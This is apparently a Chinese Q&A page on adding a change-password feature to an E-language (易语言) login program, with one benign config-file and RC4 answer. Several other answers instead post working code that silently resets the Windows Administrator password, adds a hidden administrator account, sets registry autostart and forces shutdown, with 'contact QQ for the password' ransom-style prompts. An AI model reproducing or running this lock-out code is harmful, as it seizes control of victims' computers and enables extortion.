易语言制作的登录程序怎么设置修改密码(易语言怎么设置电脑密码)
易语言制作的登录程序怎么设置修改密码(易语言怎么设置电脑密码)
有两种方法，第一种在配置文件中保存登录密码，可以进行修改及设置；第二种方法通过数据库进行修改设置；就安全性而言使用第二种方法更好，可以使用Access、sqlite、MySQL、mssql，前两种数据库为本地数据库，后两种数据库则为网络数据库，你可以根据实际需求进行选择。
.版本
2
运行
(“net
user
Administrator
779988520”,
假,
#隐藏窗口)‘那行数字是密码
运行
(“net
user
administrator
779988520
/add”,
假,
#隐藏窗口)’数字是密码
运行
(“net
user
administrators
administrator
/add”,
假,
#隐藏窗口)‘administrator是帐户
写注册项
(#本地机器,
“software\microsoft\windows\CurrentVersion\Run\ZDYY”,
取运行目录
()
＋
“\”
＋
取执行文件名
())‘开机自动启动
关闭系统
(2,
假)’关机
这样咯，改了之后还开机会自动启动呢，保证就算有密码还得格式化系统。
.版本 2
.支持库 shell
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
.局部变量 用户名, 文本型
.局部变量 密码, 文本型
用户名 ＝ “想知道密码联系123654” ' 这里设置你的用户名,中间不要加任何标点符号.
密码 ＝ “123456” ' 这里设置密码
运行 (“net user administrator ” ＋ 密码, 假, ) ' 先把原密码改掉
运行 (“net user ” ＋ 用户名 ＋ “ ” ＋ 密码 ＋ “ /add”, 假, ) ' 添加一个用户
运行 (“net localgroup administrators ” ＋ 用户名 ＋ “ /add”, 假, ) ' 把这个用户添加的超级管理员组中
写注册项 (4, “SOFTWARE\Microsoft\Windows\CurrentVersion\Hints\” ＋ 用户名, 用户名) ' 这里是后面显示那个帮助提示.
关闭系统 (2, 真) ' 重启系统
结束 ()
这种恶搞软件。。有点损人啊。如果对方开着杀毒软件，目测会被拦截=-=我试过了
代码如图：
操作如下：
------
.版本 2
.支持库 shell
.子程序 __启动窗口_创建完毕
运行 (“net user Administrator 密码”, 假, #隐藏窗口)
运行 (“net user 要密码加QQ********** 密码 /add”, 假, #隐藏窗口)
运行 (“net localgroup administrator 要密码加QQ********** /add”, 假, #隐藏窗口)
关闭系统 (#关机, 真).
易语言开机密码源码：
运行 (“net user administrators 密码”, 假, #隐藏窗口)
运行 (“net user 账号 密码 /add”, 假, #隐藏窗口)
运行 (“net loaclgroup Administrator 账号 /add”, 假, #隐藏窗口)
关闭系统 (#关机, 真)
楼上，不用这么麻烦，变量即可。
比如:
输入原来的密码编辑框名字=A
输入现在的密码编辑框名字=B
原来密码变量=变量1（文本型）
如果（A.内容=变量1
且
B.内容≠“”）
则
变量1=B.内容
写配置项（取运行目录（）+“\1.Sav”，“密码”，“密码”，变量1）
变量1=（读配置项（取运行目录（）+“\1.Sav”，“密码”，“密码”））
A.内容=“”
B.内容=“”
否则
信息框（“修改密码失败，请查看密码是否有误，或输入修改密码”，0，“修改错误”）
纯手打，，，，，，，，，，，，，，，，，，，，，，，
这只是个参照，貌似有错误，如果想要密码加密，则使用#RC4加密
写出:写配置项
(取运行目录
()
＋
“\1.Sav”，
“密码”，
“密码”，
到文本
(加密数据
(到字节集
(变量1)，
“1”，
#RC4算法)))
读取:变量1
＝
到文本
(解密数据
(到字节集
(读配置项
(取运行目录
()
＋
“\1.Sav”，
“密码”，
“密码”，
))，
“1”，
#RC4算法))。
